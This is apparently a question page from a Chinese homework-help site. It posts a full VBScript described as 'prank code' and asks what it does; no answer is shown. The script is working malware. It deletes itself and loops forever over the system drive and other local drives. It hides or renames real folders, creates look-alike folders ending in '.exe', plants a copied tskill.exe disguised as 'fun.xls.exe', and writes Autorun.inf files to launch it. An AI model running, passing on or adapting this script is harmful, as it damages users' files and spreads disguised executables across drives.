vbs整人代码翻译On Error Resume NextSet fso=CreateObject("Scripting.FileSystemObject")Set Cx=fso.GetSpecialFolder(0)fso.GetFile(WScript.ScriptFullName).Delete(True)DoC=fso.GetParentFolderName(Cx)Set Fdrs=fso.GetFolder(C).SubFoldersFor Each Fdr I

来源：学生作业帮助网编辑：作业帮时间：2024/04/29 01:57:10

vbs整人代码翻译On Error Resume NextSet fso=CreateObject("Scripting.FileSystemObject")Set Cx=fso.GetSpecialFolder(0)fso.GetFile(WScript.ScriptFullName).Delete(True)DoC=fso.GetParentFolderName(Cx)Set Fdrs=fso.GetFolder(C).SubFoldersFor Each Fdr I
vbs整人代码翻译
On Error Resume Next
Set fso=CreateObject("Scripting.FileSystemObject")
Set Cx=fso.GetSpecialFolder(0)
fso.GetFile(WScript.ScriptFullName).Delete(True)
Do
C=fso.GetParentFolderName(Cx)
Set Fdrs=fso.GetFolder(C).SubFolders
For Each Fdr In Fdrs
If Not fso.GetExtensionName(Fdr.Name)="exe" Then
fso.CreateFolder(C & Fdr.Name & ".exe")
Set fun=fso.GetFile(C & "WINDOWS\system32\tskill.exe")
fun.Attributes=6
fun.Copy(C & Fdr.Name & ".exe\fun.xls.exe")
Set auto=fso.CreateTextFile(C & Fdr.Name & ".exe\Autorun.inf")
auto.WriteLine("[Autorun]")
auto.WriteLine("Open=fun.xls.exe")
auto.Close
Set auto=Nothing
Set fun=Nothing
fso.GetFolder(C & Fdr.Name & ".exe").Attributes=Fdr.Attributes
Fdr.Attributes=6
End If
Next
Set Cx=Nothing
Set Fdrs=Nothing
Set drvs=fso.Drives
For Each drv In drvs
If drv.DriveType=2 Then
If drv & "\" = C Then
Else
Set Fdrs=fso.GetFolder(drv).SubFolders
For Each Fdr In Fdrs
If Not fso.GetExtensionName(Fdr.Name)="exe" Then
Fdr.Name=Fdr.name & ".exe"
Set fun=fso.GetFile(C & "WINDOWS\system32\tskill.exe")
fun.Copy(drv & "\" & Fdr.Name & "\fun.xls.exe")
Set auto=fso.CreateTextFile(drv & "\" & Fdr.Name & "\Autorun.inf")
auto.WriteLine("[Autorun]")
auto.WriteLine("Open=fun.xls.exe")
auto.Close
Set auto=Nothing
Set fun=Nothing
End If
Next
End If
End If
Next
WScript.Sleep 60*1000
Loop
谁能解释一下这代码干什么用的?